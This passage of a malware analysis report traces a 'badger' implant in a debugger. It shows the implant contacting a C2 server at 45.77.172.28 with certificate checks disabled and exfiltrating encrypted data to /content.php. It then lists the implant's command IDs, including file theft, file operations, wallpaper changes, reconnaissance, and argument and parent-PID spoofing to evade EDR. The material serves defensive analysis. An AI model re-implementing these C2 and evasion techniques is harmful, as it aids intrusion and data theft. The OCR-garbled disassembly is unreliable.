FF 15 60 FB 00 00 |call qword ptr ds:[<eInternetopenws]

v
e Default (x64 fastcall) b

>
—— 1: rcx L"trialedeloitte. com. en™
word ptr [000D0DDOD2685678 <&INTernetOpenws]=<wininet, INternetopens rdx 0000000000000000
: ra 0000000000000000
4: rI 0000000000000000
0000000002676012 s: [rsp+20] 00000000D000000D

Figure 34

The process connects to the C2 server on port 80 by calling the InternetConnectW function:

0000000002676024 48 C7 44 24 38 00 00|mov gword ptr ss:lrsp-:sl,0 P ot e Ui ot
0000000002 48 8B 53 30 mov rdx,aword ptr ds: [rbx+30] rdx:L"45.77.172.28", O e LA LY 0 0000000000000,
0000000002 45 31 ca xor radir X87F5 00000000000000000000 STS EMPTY 0.000000000000000000
0000000002 48 89 €1 mov rox,rax X87r& 00000000000000000000 5T6 Empty 0.000000000000000A00
000000000 €7 44 24 30 00 00 00|mov dword ptr ss:@rsp+2oll,0 X87r7 00000000000000000000 ST7 EMPTY 0.000000000000000000
000000000 43 0 B7 83 6C 04 00|movex rod,ward pir ds:[rbirsec]
000000000 C7pas 2 es oa ot g incyfwercl progas: sl ong x87Tagword FFFF
000000004 48 C7 44 24 20 00 00|mov qword ptr ss:frsp+20], B Vs S =
FF 15 22 FC 00 00 |€all qword per ds: [<atnternerconnectis v
mmrom s | Default (x64 fastcal) -
It rox 4
aword ptr [0DOD0D0DU2685C80 <&INTerNetconnects J=awininet. Internetcannect> 21 rdx 000000 L"a5.77.172.28"
3: ra 0000000000000050
4i ra 0000000000000000
000000000267 6058 s: [rspr20] 000D000000000000D

Figure 35

It creates a POST request to the “/content.php” resource using HttpOpenRequestW, as displayed below.

4c 88 44 F3 48 mov r8,qword ptr ds: [rbx+rsi*g+48] r8:L"/content.php\r\! | ya7r1 00000O0OOOOO00000000 STA EMBLY ©.0000000000000G0000
slE Ty sl diotr mu:loan atl0 X87r2 00000000DO00000000D0 ST2 Empty 0.000000000000000000
br it bl ol it L S (] X87r3 00DADODO00000DODODAD ST3 EMPTY 0.00ODIDADODADAON0ND
15 b2 Shb ez esix 2 edx:L"POST" X87r4 D0DOD0DO000DODODODOD ST4 EMPTY 0.00000D00ODADIO00NO
5 31 co xor rad,rsd X87r5 00000000000000000000 STS Empty 0.000000000000000000
48 €7 44 24 20 00 00|mov gqword ptr ss:@rsp+20l,0 X87r6 00DO000D0000000000000 ST6 EMPTY 0.0000000000O0I00000
81 E2 00 00 80 FF |and edx,FFE00000 edx:L"POST" X877 0ODODODO0OO0OODODODOD ST7 EMPTy 0.000000000000000000

81 €2 00 00 88 00 add edx, 880000 edx:L"POST"
89 54 24 30 mov dword ptr ss:[rsp+z0J,ed x87Tagword FFEF
48 8D 15 94 B2 00 00|lea rdx,gword ptr ds [2651344] rdx:L"POST", 0000000( i - ~ - =
'C 00 00 cuﬂ anl'd ptr ds: [<&HttnODErl‘leau=stW>] v
5 |Default (x4 fastcal) =[50 unlocke
fh cooos
gword ptr [0DODODDDO2685D68 <&HTTPOPENREqUESTWS]=<wininet. HttPOPErRequestws T POST™
3! r8 00D0DODDD27464F0 L"/content.phpirin”
3 rs DDO0DDOODD00DD0D
00000000026760B0 5: [Fsp+20] 000000000000O000D

Figure 36

The security flags for the handle are changed using the InternetSetOptionW API (0x1100 =
SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_UNKNOWN_CA):

0000000002 4189 04 00 00 00 |mov roa,4 X847/ UUULUULULUUULULEULYU 51/ ETPTY . ULULULUUULULLULELY
0000000002 4C 8D 84 24 AD 00 00| lea VS.QNDI'U ptr ss:lrsp+aol
0000000002 BA 1F 00 00 00 mov edx x87Tagword FFFF
48 89 C1 moV_FCX, ra
FF 15 7A FC 00 00 call qnord ptr ds:[<&InternetSetOptionis] v
e s | Default (x64 fastcal) ~ |[5_F2] ] unlocke
= —— = 1 rcx CO00C
<&InternetSetOptionk> net.InternetSetOption> 3 rdx 0O0D0O0DDOODOOLE
3: r8 0000000002A3F330
4: r3 0000000000000004

Figure 37
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HttpAddRequestHeadersW can be used to add one or more HTTP request headers to the handle however, the
second parameter is NULL during malware’s execution (0x20000000 = HTTP_ADDREQ_FLAG_ADD):

48 8B 94 F3 D8 01 00|mov rdx,qword ptr ds:[rbx+rsi~8+Ds] X87r7 00000000000000000000 ST7 EMpTy 0.000000000000000000
41 B9 00 00 00 20  |mov rsd,20000000

41 83 C8 FF or rsd,FFFEFFFF x87Tagword FFFF

4C 89 E1 mov_rcx,ri2

FF 15 44 FF 00 00 €all gword ptr ds:[<aHttpAddRequestHeader

v
Default (64 fastcal) - [ unlocke

THRe CoooC
2: rdx 0000000002741ACO
3: r8 DODDOOOOFFFFFFFF
41 r3 0000000020000000

Figure 38

The process encodes the encrypted JSON using Base64 and exfiltrates the resulting data using
HttpSendRequestW:

0000000 45 31 co xor rad,rsd X873 UUUUUUUULUUUUUUUULUL. 315 EMPLY U, UUUUUUUUUULUUULUUY
0000000 31 b2 Xor edx,edx X87r6 0000D0DODDD000000000 ST6 EMPTY 0.0000000000D0D0D000
0000D0DK 4c 89 E1 mov rex,ri2 X87r7 00000000D00000000000 ST7 EMPTY 0.000000000000000000

add eax, eax
4C 8B 8C 24 AB 00 00|mov r3,qword ptr
89 44 24 20 mov_dword ptr ss:

0000000
0 x87Tagword FEFF

2 ) * 1
FF D& call rsi rsi: v
SR e 5 |pefault (54 fastcal) ~|[5_ 2] unlocke:
1 rex
rsi=awininet.HttpSendRequestw> (0D0007FF89E711D10) 2: rdx 0000000000000000

3: ra 00D0DODODODOD0DD
4: r3 00DODODOD2746C30
5: [rsp+20] 00D0DODOD0D002SS

5000 Tosoooooodonoizon| L
Woump1  @oump2  @hoump3  WHpump4  @Woumps @ watchi  x-llocals | P stuet e A g

Address Hex | Asc1T I ~
00000000027 46C30 [ {6D) 00 5A 0041 00 7A 00|41 00 49 00|€4 00 77 00|M.Z.A.Z.A.I.d.w.
0000000002746C40( 25 00 76 00|77 00 4F 00[32 00 56 00(€6 00 42 00|5.v.w.0.2.V.F.C.
0000000002746C50| 45 00 4A 00|4F 00 33 00|71 00 62 00|47 00 56 00|E.J.0.3.q.b.G.V.

Figure 39

0000000002676141

It verifies whether the C2 server sends any data back via a function call to InternetQueryDataAvailable:

45 31 C9 xor rsd;rsd s % X87r6 00000000000000000000 ST6 Empty 0.000000000000000000
45 31 €O xor r8d,rad X87r7 00000000000000000000 ST7 EMPTy 0.000000000000000000
48 B9 F2 mov rdx,rsi
4C 89 E1 mov rex,riz x87Tagword FFFF
C7 8% 24 A4 00 00 00|mov_dword ptr ss:[frsp+asl,0
- FF 15 00 FC 00 00 €all gword ptr ds:[<&INTernetqueryDataAv: v ]
o = Dlefault(xﬁﬂﬁsrm\ﬂ i El Unlocke
qword ptr [0000000002685D88 <&InternetQueryDataAvailables]=<wininet,InternetQueryDataAvailable> 2: rdx 000000
AAAAAAAAAAAAAAAA 3 3 003e00m0000000
’ i d using I ReadFile:
The C2 server’s response is read using InternetReadFile:
RS s s« EBC IR0 i Y e e R %3713 60000000000000030000 ST3 ERpEY 0. 000000000060000030
43 89 C7 A ey X87r4 0D0000000000000000000 ST4 Empty 0.000000000000000000
oo PeD Ceba X87r5 0D00000ODODODODODO0D STS EMPTy O.00000000000DODO0O0.
4C 89 C9 MmOV rex,r9 X87r& 00000000000000000000 STE EmpTY 0.000000000000000000
49 89 E9 mov r9,rbp
F3 AA repe stosb x87Tagword FFFF
4C 89 E1 MoV rcx,riz
FF 15 59 F7 00 00 €all gword ptr ds:[<&InternetReadrile-] A
e , | Defoult (x84 fastcal) ~[5 ] nlocke
= = 1 rex Co00c
aword ptr [0D00000002685930 <&INternetReadFile-]=<wininet.InternetReadrile> 2! rdx 0000000004650820
2: rg 0000000000000384
& 4: r9 0000000002A9FZEE

Figure 41
The response is Base64-decoded and decrypted using the same key that was previously mentioned. The “auth”

field is set to the decrypted information, and another request is made to the C2 server, asking for commands:

Address Hex
QOO0000002746C10 | FEB
QOOOo000002746C20 | 22
0000000027 46C30 | 41
QOOOo000002 7 46C 40 | 64
00000000027 46C50 | 6B
QOOo000002746C60 | 7D

Figure 42

FakeNet-NG was used to simulate the network communications with the C2 server. After decoding and decrypting
the response, the first 2 bytes represent the command to be executed followed by additional parameters if

necessary. A new thread handles the commands execution:
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— T AV L IS o6 LML
g a1 pin - . | x87r3 00000000000000000000 5T3 Empty 0.000000000000000000
AC00 adcza s DULOD Ny ‘:Y;D;dpp“ Rl B LE3za8]:Ra0 poroncy X87r4 0D0D0DO0DODODODODO0000 ST4 EMPTY 0.000000000000D00000
iD 89 FB mov ra.ri X87r5 0D0000000D0D0OO0O0000 ST5 EMPTY 0.000000000000000000
4C 89 AC 24 90 00 00|mov qword ptr ss:Ersp+aoll,ri3 X87r6 0D0DDDDODOOOOOOCO000O STE Empty ©.000000000000000000
31 D2 xor edx,edx X87r7 00000000000000000000 ST7 EMPTY 0.000000000000000000
C7 83 6C 08 00 00 00| mov dword ptr ds:[rbx+86C],0
4C 89 74 24 28 mov gword ptr ss:[rsp+za]f,r14 [ 4"aB paramel | xs7Tagword FFFF
C7 44 24 20 00 00 00|mov dword ptr ss:frsp+20],0
FF 15 7C 10 01 00 |call gword ptr ds:[<&createThread:] v
A s s | Default (x64 fastcal) -
T
aword ptr [0DODODODO26BSFES <&CreateThread>]=<Kernels2.CreateThread> 31 rdx D0OGODDOCOODDOOD
3 rg 000D00D0D2672CS0
4 r9 0DODDODDDZAIFIAS &"AB parameter”
000000000267 4F66 5: [rsp+20] 0000DODOOOOOOO0D

Figure 43
We’ll now describe the commands that can be issued by the C2 server.
0x2C74 ID — Exfiltrate file content to the C2 server

The PathFileExistsA API is utilized to confirm if the target file exists on the system:

s uy ry mov rox,ris rexi 1
FF 15 28 03 01 00  |call qword ptr ds:[<&PathFileExistsA>] ‘ v
s | Default (x64 fastcal) - ~ |[5_F2] ] unlocke
1 rex "file”
gword ptr [0000000002985C08 <&PathFileExistsA-]1=<shiwapi.PathFileExistsA> 2: rdx 0000000000095E40

Figure 44

The file is opened via a function call to CreateFileA (0x80000000 = GENERIC_READ, 0x1 =
FILE_SHARE_READ, 0x3 = OPEN_EXISTING

X8/F# UUUUUUUULULULULULULY S 14 EMPLY U, UUUUULUUUULULULULU

00|mov gword ptr ss:[Ersp+zoll,0
Xor rad,rad X87F5 00000000000000000000 STS EMPTY 0.000000000000000000

ror
mov rad,1 X87r6 0D0D0000D0D0DODONO000D STE EMPTY 0.000000000000000000
mov rcx,ris rex:"Fi' || X87r7 000000000000O0000000 ST7 Empty O.000000000000000000
mov dword ptr ss:[@rsp+28ll,80

mov edx, 30000000 x87Tagword FFFF

mov_dword ptr ss:[Ersp+20ll,3
€all qword ptr ds:[<eCreaterileas]

v
5 | Default (x64 fastcal) k&
- - SO File”
aword ptr [000000D0002986168 <&CreateFileA-]=<kernel3z.CreateFileA> 2t rdx 0000000080000
3! r@ 000000000000D00L
4: r9 00000D00D000D00D
0000000002975 90F s: [rsp+20] 0000000000000003

Figure 45

The content is read by calling the ReadFile method, as shown in Figure 46.

41 89 F8 mov rad,edt R&716 UUUUUUUUUUUUUUUUULUL 516 EMPLY U, UUUUUUUUUULUUUUULU
iC 89 F1 mov rox,rid X87r7 00DODO0O000000DODO00D ST7 EMPTY 0.000DG0000000DODO0D
4C 8D 4C 24 7C lea r9,qword ptr ss:lfrspi7ch
18 89 C2 mov rdx,rax x87Tagword FFEF
48 C7 44 24 20 00 00|mov qword prr ss:[frsp+20f,0
FF 15 59 FE 00 00  |call qword ptr ds:[<sReadFiles] v
S ST 5 | Default (x64 fastcal) 2
= rox
aword ptr [DOOODOD00238E958 <dReadrile>)=<kernel32.ReadFiles me
: rg 0000000000000008

i r9 000000000 1EF22C
¢ [rsp+20] 0000000000000000

]

0000000002975AF9

Figure 46

The data is sent to the C2 server along with the “[+] Download complete” message or the message shown in the

figure below.
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bl =

LText:epeapaaea2975A5F

Jtext:pRERREEER297SASF loc_297SASF:

LTdext:eeReaaeaa2975A5F xor eax, eax
Jtext:eppaaepaa2975A61 mov ecx, ebp

Ltext : 0pee880R82975A63 mov rdi, rl3
LJdext:eeRaaRaaa2975A66 mov re, rls
.text:0000000802075A60 rep stosb

Ltext:eeReae8882975A68 xor eax, eax

Ltext : epee880882975A60 mov ecx, 82h ; ',°'

Ltext : eppeeeRRe2975A72 mov edx, 1@dh ; SizelnWords
Ltext:e080080082975A77 lea rdi, [rsp+8D58h+var_ACE]
Jtext:BREEEERER29VSATF lea ri@, [rsptebssh+var ACE)]
text: 0pEeE88882975A8Y rep stosd

Jtext: BEREEREEE2975A39 mov dword ptr [rspt@8D58h+var_D38], r8d
Ltext:eseeaee802975A8E mov rcx, rle ; Dst
text:BREEEERER2975A0] lea rg, Format ;3 "[+] Download Status ¥s (¥lu F¥X)™
Jtext: BEREEEER02975A98 mov [rsp+8D58h+var_CFe], rle
text:BREEEERER297SAD call swprintf_s

Jtext: BEREEEERE2975AA2 mov ri@, [rsp+tebssh+var CFa)
Ltext:eeRaaRaaR2975AAT mov rcx, ril2
LTdext:eeReERa8R2975A88 mov rdx, rle

Ltext: pEAE0680802975AAD call sub_20733D8@
text:BREEEERER29TSAB2 jmp loc_2075944
Figure 47

0xA905 ID — Copy files

The malware copies an existing file to a new file using CopyFileA:

45 31 Co
4C 89 F1

xor rad,rsd
mov rcx, I’J.4

mov_rdx

call qnnrd BEF SN[ <eCopyFilear]

Fex: ™ fi
rdx: "fi

aC 89 E2
FF 15 159 DO 00 00

x87TagWord FFFF

v
Default (54 fastcall)

- [ 2] unlock=

It rex

gword ptr [D0DO0O0DDZ985B48 <&COPYF1]eA> J=<kernel32.CopyFileAr

Figure 48

0x9B84 ID — Move files

2: rdx 000
3: ra 00000DODDDOD0O0OO

The process moves an existing file to another using the MoveFileA function (Figure 49).

4C 89 F1
4C 89 E2
FF 15 D4 A4 00 00

mov rox, I’l.«l
mov_rdx,r
call qnoru BEF dsT[<amoverileas]

TR
rdx: "fi

>

x87Tagword FFFF

v
Default (x64 fasteal)

=[5 200 tnlecke

qword ptr [0000000002985B30 <&MOVEFileA-]=<kernel32. Moverileas

Figure 49

LT "Filea™
2: rdx 000D0D0DD45BOSAD "Filez”

0x13A1 ID — Create files and populate them with content received from the C2 server

Firstly, the file is created via a function call to CreateFileA:

XB7r3 DOO0D0OGOODDOGOB0000 STE EMPEY 0.000000000000000000
X87ré 00000000000000000000 ST6 Empty 0.000000000000000000
X87r7 000000D0D0D0000O0000 ST7 EMPTY 0.000000000000000000

PR xor rod,rad
45 xor rid,rsd

2A 30 6 00 40 mov =dx 4uucmcmc)

4C 89 F1 rex:"fi

8.€7 43 24 30 00 00 Hov qword er ss:frspr3

C7 44 2a 28 0| mov dword pt x87Taghord FEFF
7 43 23 20 02 00 00| mov dword per s:frapieod s

FF 15 91 GA 00 00  |€all qword ptr ds:[<&createrileas] v

e i it Default(asm’asm\l)

~ |[5_[2]00 unlocke

File"

‘gword ptr [000D00DO0Z986168 <&CreaterileA>]=<kernel3z,CreaterileA>

000000000297 FEDL

Figure 50

I Tax oo

£ T 0000000000000000
4: r3 0000000000000000
5: [rsp+20] 00D000000C0D0000Z

The received data is Base64-decoded using CryptStringToBinaryA and written to the file:
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48 8B 54 24 68 mov rdx,qword ptr s sl [Fsp+68: X87r6 000000000000D0000000 ST6 Empty 0.000000000000000000
4C 8D 4C 24 5C lea r9,qword ptr ss: scll Xx87r7 00000000000000000000 ST7 Empty O.000000000000000000
4C 89 FO mov rcx,rls
48 C7 44 24 20 00 00| mov gword ptr x87Tagword FFFF
89 44 24 4C mov dword ptr
FF 15 64 68 00 00 €all qword ptr =

% = Fault (64 fastcal) >[5 (2] unlocke

: rdx D0000D00045B0840 "ABCDEFGHII™
I r& 000000000000000A
: r9 0D000000D51EFECC

Def
1 rcx
&
3
3
s: [rsp+20] 0000D0000000000D

gword ptr [0D0D00D002985F80 <&Mriterilex]=<kKernel3z. wWriteFiles
000000000297F716

Figure 51
0xE993 ID — Delete files

DeleteFileA is used to delete the target files, as highlighted below:

aC_ 89 E1 ‘mnv rex,riz ‘r’cx:'ﬁ ;

FF 15 E6 8E 00 00 |call qword ptr ds:[<adeleterileas] &
e TR = ‘Dlafau\t(xsqfastm\\) - ~|[5_[£]00 unlocke
T rex EEITER
Grord pEr [0D0D000D0Z985F48 <aDEleterileAs I=ekernel3z. Deleterilons [ B S OnnnM S RO R T TR

Figure 52
0x0605 ID — Close handles

The badger closes an object handle (i.e. file, process) using the CloseHandle API:

48 8B 8B A0 04 00 00
48 85 C9

mov_rcx,qword ptr ds: [rbx+4A0]
Test rox,rcx x87Tagword FFFE

je 297D01S
M
5 5 |Default (x4 fasteal) v [5 1] unocke

call_aword BEFESI[<ac] oseHandles]
L BT
aword ptr [0D0000D00Z985E30 <ECIosehand]e>]=<kernel3z.CloseHandle i rdx 000 200

<

74 11
FF 15 86 8B 00 00

Figure 53
0x3F61 ID — Create directories
The malicious binary has the ability to create directories using the CreateDirectoryA method:

[ £l 31 D2 xor edx, edx ‘ x87Tagword FFFF
| 4C 89 E1 mov_rox,ri2 roxivTe || £ =
g— FF 15 E4 A6 00 00 |call gword ptr ds:[<aCreateDirectoryAs] v
] e = N ‘Dlefau\t(xﬁllfastam — ~ |[s 2] 00 unlocke
Trex es
aword pTr [00D000D00ZI85B68 <aLME€ATEDMECTOryA>]=<Kernelaz, CreateDirectoryas 127 rax 200000

Figure 54

0x1139 ID — Change the current directory for the process

SetCurrentDirectoryA is utilized to perform the desired operation (see Figure 55).

4C 89 E1 ‘NDV rex,ri2 rcx: "Te { =
FF 15 66 DB 00 00 €all gword ptr ds:[<&SetcurrentbirectoryAs] v
e 5 ‘Dlafau\t(xsqfastm\\) — ~ |[5 2] unlocke
T rox 55
gword ptr [0DDDOOOOD2986198 <&SetCurrentDirectoryA>]—<kernel3z. SetCurrentDirectoryAs lereerr A

Figure 55
0x3C9F ID — Obtain the current directory for the process

The malware extracts the current directory for the process by calling the GetCurrentDirectoryW API:

B9 05 01 00 00 mov ecx,l105
48 C7 44 24 38 00 00|mov qword ptr ss:[frsp+3sl,0 x87Tagword FEFE
4C 89 EA mov_rdx,ri3
FE 157699 00 00 |€all qword ptr ds:[<&GetCurrentdirectoryws] v
Sem————— s | Default (x64 fastcal) ~|[5_1¢] ] unlocke
e
qword ptr [0D00D0DD0Z9861D0 <EGETCUrFentDIr ECTOryWs]=<kernel32. GEeTCUrr entD1r eCToryw> 21 rdx DODODOOD0S1EFCES.

Figure 56
0x8F40 ID — Delete directories

The process deletes a target directory only if it’s empty using RemoveDirectoryA:

4C 89 E1 mov_rex,riz
FF 15 9E 8B 00 00 €all gword ptr ds:[<aRemoveDirectoryas]

‘rcx:'Te I
v

: Default (x64 fastcal) = |[5_F#]0] unlocke
(1 rex

qword ptr [0000000002985C30 <&RemoveDirectoryA>]=<kernel32.RemoveDirectoryA> 152 rax

>

an "Test®
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0x0A32 ID — Retrieve the Last-Write time for files/directories

The files are enumerated in the current directory using the FindFirstFileW and FindNextFileW functions:

. 4c 89 F2 mov rdx,ris x87TagWord FFFF
. 4C 89 F3 mov rox,ris
FF 15 C9 AD 00 00 [call qword prr ds:[<aFindFirstrilens] v
. D e Default (64 fastcal) -
— — = 1 rex EFECO L™Tests"
|'aword ptr [0000000002985308 <&FindFirstFilews]=<kerne132.Findrirstrilens 3% rdx TeFa70

Figure 58

48 8D 94 24 A0 02 00|lea rdx,qword ptr ss:[frsp+2a0]
4C 89 E1 mov_rcx,riz
FF 15 85 B3 00 00  |call gword ptr ds:[<&FindNextFilews]

x87Tagword FEFF

v
Default (64 fastcall)

~ [5 =)0 tnlodke

gword ptr [0000000002Z9861E8 <&F1NANEXTF11eW>]=<Kernelz2.FindNextrilews

Figure 59

ST
2: rdx 0O000000DELEF470

For each of the file or directory that matches the pattern, the binary calls the CreateFileW API:

45 31 C9 xor rad,rad

BA 00 00 00 80 mov edx,$0000000
45 89 E9 mov rox,r

48 €7 44 24 30 00 00|mov qword ptr
41 B8 01 00 00 00 |mov r&d,

C7 44 24 28 80 00 00|mov dword ptr
C7 44 24 20 03 00 00|mov_dword pt
FF 15 82 AF 00 00 | call qword ptr cs:[<acreateFilews]

x87Tagword FFFF

Ao 314 EmpLy U.uu
X87r5 00000000000000000000 ST5 EMPTy O.000000000000000000
X87r6 00000000000000000000 ST6 Empty O.000000000000000000
X87r7 0000000000D000000000 ST7 EMPTy O.000000000000000000

v
Default (x64 fastcall)
1.

aword ptr [0D0D00D002985CBE <&Createrilews]1=<Kernel3z.Createrilen>
000000000297AD30

Figure 60

1K
: rdx D0000D0DE0000000
i rg 0000000000000001
i r3 0000000000000000

nawn

: [rsp+20] 0000000000000003

The process retrieves the Last-Write time via a function call to GetFileTime:

4C 8D 4C 24 70 lea r9,qword ptr ss:[rsp+708
45 31 €O xor réd,rad

31 D2 xor edx,edx

48 89 C1 mov rcx,rax

AC 89 4C 24 58 v_gword ptr s=:frsp+ssl,

l,ro
f[<aGetFileTimex]

AF 00 00

EF6CO L"Test\\Test.exe"

A8/FB UUUUUUUUUULUUUUUUUUL S 16 ENPLY U UUUUUUUUUUUULUUUUU
X87r7 00000000000000000000 ST7 EMPTy 0.000000000000000000

x87Tagword FEFF

v
Default (64 fastcall)
1

Figure 61

rex
rdx_0000000000000000
r8 0000000000000000

! r9 0D0D0000D51EF240

The file time is converted to system time format using FileTimeToSystemTime:

ac 89 F moy rdx,ris
48 C1 E7 20 shl rdi,z0
4C 89 C mov rcx,r9
18 09

7 or_rdi,rax
FF 15 3A AF 00 00 €&l gword ptr ds:[<aFileTimeTosystenTimes]

X87r7 00000000000000000000 ST7 EMPTY 0.000000000000000000

x87Tagword FFFF

v
Default (64 fastcal)

[aword ptr [0DDDDDOD02985CCE <aFileTimeTosystemTimes]=kernelaz. FileTinetosystent ine>

Figure 62

Finally, the above time is converted to the currently active time zone:

510y xor ecx,ecx
4C @D 84 24 88 00 00|lea rs,qword ptr ss:[rsp+ss]

F. moy_rdx,ris

FEI15 1 1BIAF 0010007 €alil ‘aword pErIdsH[ <&SystenTineToTzSpecificLocalTimes

1T rex 1EF240
2: rdx 00DOODDDOSLEFZ48

x87Tagword FFFF

v
Default (164 fastcall)

~ [5 2] 0 unlocke

Tgqword ptr [D0DODODDOZ985CCO <aSystemTimeToTzSpecificLocalTimes]=<kernel32. SystenTimeToTzSpeciticlocalTines

Figure 63

0x3D1D ID — Change the Desktop wallpaper

The malicious process opens the “TranscodedWallpaper” file that contains the Desktop wallpaper:
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000000000 48 @8 4C 24 58 S RS ——————— LPSPH5E. [ M1t T s 1T Ry s
4 31 Co Xor rod'red X87r5 00000000000000000000 STS Empty 0.000000000000000000
45 31 CO xor rsd,rsd X87r& 00000000000000000000 STE EmpTty 0.000000000000000000
48 C7 44 24 30 00 00[mov gword ptr ss:[rsp+300,0 X87r7 00000000000000000000 ST7 Empty 0.000000000000000000
BA 00 00 00 40 mov edx, 40000000
C7 44 24 28 80 00 00|mov dword ptr ss:|ffrsp+28]) x87Tagword FFFF
C7 44 24 20 02 00 00|mov dword ptr ss:|ffrsp+20],2

FF 15 52 D3 00 00 call gword ptr ds:[<&CreateFileA>] v
PAR =l SRR Default (x64 fastcal) ~

e — — L4 1: rox “C:\\Users\\Illl\\AppData\\Roaming"\,

qword ptr [0000000002986168 <&CreateFileAr]=<kernel3Z.CreateFileA> : e =

000000
: r8 0000000000000000
: r9 00000DD0D00D0D0D
[rsp+20] 00D00DD00D0D00DO0Z

000000000297 8810

d Dump y Dump 2 o Dump 3 4 Dump 4 sDump5 & watch1  Ix=ILocals ? Struct
WHoumo1 @ L] (2] L] & Watch =] Local g

Address Hex ASCIT ~
0000000004560900 | 43 55173 65 72 7. 70 €: \User s \IENADD
00000000045B0910 | 44 61(5C 52 6F 63 [Data\Roaming\Mic
00000000045B0920 | 72 6F (86 74 5C 54(rosoftiwWindoms\T
00000000045B0320 | 68 65 (73 5¢ 54 64 hemes\Transcoded
00000000045B0340 | 57 6C|70 61 70 65|72 00 0D 00|00 00 0D 00|wWallpaper.......

0000000000000000
0000000000000000

Figure 64

The above file is filled in with content received from the C2 server (Figure 65).

48 8B 54 24 68 mov rdx,qword ptr ss:[rsp-ea] [Fsp+S. | X87r6 000000D0DOO000000000 ST6 EMPTY 0.000000000000000000
4C 8D 4C 24 50 Tea r3,qword ptr ss:lirsp+500 X87r7 00000000000000000000 ST7 EMPTY 0.000000000000000000
41 89 DB mov rid, ebx
45 §9 CL mov rcx,rax x87Tagword FFFF
48 C7 44 24 20 00 00|mov_qgword ptr ss:[frsp+2of,0 .

o FF 15 42 D7 00 00 |call qword ptr ds:[<&writeFiles] v
i —— " " s > Default (x64 fastcall) &

rex
: rdx 000000

i rg 000000000000000A
i r3 00000000051EFCTO
: [rspr20] D00000ODODODODOO

"ABCDEFGHI )

nh

‘qword ptr [0O0D000D02985FED <&Writerile>]=<kernel3z.Writeriles
0000000002978838

Figure 65

The SystemParametersInfoA method is utilized to change the Desktop wallpaper (0x14 =
SPI_SETDESKWALLPAPER, 0x1 = SPIF_UPDATEINIFILE):

20000000 3102 T, X87r7 0000000ODODADUDO0O0D ST7 EMPTY 0.000000ODI00000000D
000000 4C BB 44 24 58 mov rg,gword ptr ssilirsp+sel [rsp+s8
41 B9 01 00 00 00 mov rod,l x87Tagword FFFF
. B3 13 00 00 00 mov_ecx, 14
FF 15 28 D9 00 00 | call quord prr ds:[<asystemParametersInfoas] »
. i — T = > Default (x64 fastcall) o
aword ptr [D0D000DODZSEEISD <SystemParanetersINfoA>]1-<user32.SystenParanetersInfois T

2: rdx 0000000000000000
3: rg 0000000004580300 “C:\\Users\\IIM\\AppData\\Roaming\\Mi
4: r9 0000000000000001

Figure 66
0xD53F ID — Retrieve the username

This command is used to obtain the username associated with the current thread:

00000 48 8D 54 24 3C Tea rdx,qword ptr_ss:[rsp+cl
» | 000000000 3 48 €7 44 24 40 00 00|mov gword ptr ss:[rspr+0l,0 xa7Tagword FFFF
iC 89 E9 mov rex,ri3
FF 15 86 66 00 00  |call qword ptr ds:[<&GeTuserNamews] v
e T oo TTTR ST e oo oens 5 | Default (x64 fastcal) bd
T rex EFCEE
aword pTr [00000000029858C8 <EGETUSErNamens]1=<advapi3z,GetUser hamews 3% rex Tercoe

Figure 67
0x0609 ID — Retrieve the available disk drives

The malware extracts a bitmask that contains the available disk drives by calling the GetLogicalDrives API, as

shown in Figure 68.

FF 15 8F AD 00 00 call qix'}r'd ptr' ds:[c&('ieti_og'il_:a'lnr"ives:\-]

| gword ptr [DODDODDDODZ9B5C68 <&GetLogicalDrives»]=<kernel3z.GetLogicalDrives>

Figure 68
0xC144 ID - Extract all device drivers

EnumDeviceDrivers is utilized to obtain the load address for all device drivers:

4C 80 44 24 3C lea ra,avord ptr ss:EFsptacl
BA 00 20 00 00 mov edx,2000 x87TagWord FFFF
48 89 F1 mov rex;rsi
s FF 15 C4 DD 00 00  |€all qword ptr ds:[<&EnumDeviceDriverss] -
] H iod . i —— T 77 S 3 Default (x64 fastcall) x
— - — 1 rox 1EDECO
Qword ptr [0DDODOODDZ986235 <EENUTDEVICEDFiverss 1=<psapi.EnUTDevicebriverss D CODMOOION0 7000,
3: 8 0000D0D0OS1EDAAC

Figure 69
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Using the above address, the process retrieves the name of the device driver by calling the

GetDeviceDriverBaseNameA method:

48 8B 0C DE mov rcx,gword ptr ds:i|rsitrox©g) XB/T/ UULUUUUULLUUULULLUULY 51/ EMPTY U, UDUUUUULLUUILULOUY

41 B8 00 04 00 00 mov rad,400

48 89 EA mov rdx,rbp x87Tagword FFFF

48 FF C3 inc rbx I

FF 15 B1 CE 00 00 €all qword Ptr i [<&GetDeviceDriverBaseNames] v

= oo 5 ‘Dlefau\t(xé4ﬁstm\f] +|[5 [0 uniedke
T rex

quord ptr [0DDDOODDD2986088 <&GeTDeviCeDr iverBaseNameA>1=<psap] . GetDevi CeDr iver BaseNameas ‘2: e R OODODRODE XEDAGD

3 rs 0ODODODODO0DO400

Figure 70
0x0A01 ID — Compute the number of minutes that have elapsed since the system was started

The GetTickCount function is used to extract the number of milliseconds and a simple calculation is performed
(see Figure 71).

RIP e FF 15 60 6A 00 00 €al1 gword ptr ds:[<&GetTickCount>]
B9 &0 EA 00 00 mov ecx,EASD ecx:&L"
31 D2 xor edx,edx
F7 F1 div ecx ecx:&L”
48 8D 4C 24 28 lea rcx,gword ptr ss:[irsp+2sj
43 8D 15 13 1D 00 00|lea rdx,qword ptr ds:[29814F0] 0000000
41 89 CO mov r&d,eax
E£4BRE0:00, 0 BN oovFesD, | 0 . ...
>
I gword ptr [D0D0D0D0D02986228 <&GetTickCount>]=<kernel32.GetTickCount>
Figure 71
0x73E6 ID — Argument Spoofing
The badger has the ability to hide the arguments by modifying the process environment block (PEB):
LR L —— ! 3| Berat 3 sty ~ |5 E]0] unlocke

T rox

2z rdx nnnnnnnnnzsazzcz L"[+] Spoofed argument: 5"
3 rs 00000000045808A0 “arg

Figure 72
0x8AFA ID — Parent PID Spoofing

This command can be used to spoof the parent process ID in order to evade EDR software or other solutions:

E8 ES 58 00 00 |eann zo7res0)

v
Default (x64 fastcall)

Ii rex EFECE

2: rdx 08 L"[+] Parent process: slu®

3: rs 0000DODODO0003ES

Figure 73

0xC929 ID — Extract child process name

48 80 15 23 78 00 00|lea rdx,qword ptr ds: [29815EC] rdx:L"[
EB BZ ED OD DO r_uﬂ 297F850

The binary could spawn multiple processes that can be displayed using this command (Figure 74).
¥ | Default (x84 Fastcal) ~|[5_£] 00 unlocke

‘ 1: rex

1EFEBS
RN B ERSE 2: rdx 00000000029815EC L" [w—] Chﬂd process: %s"
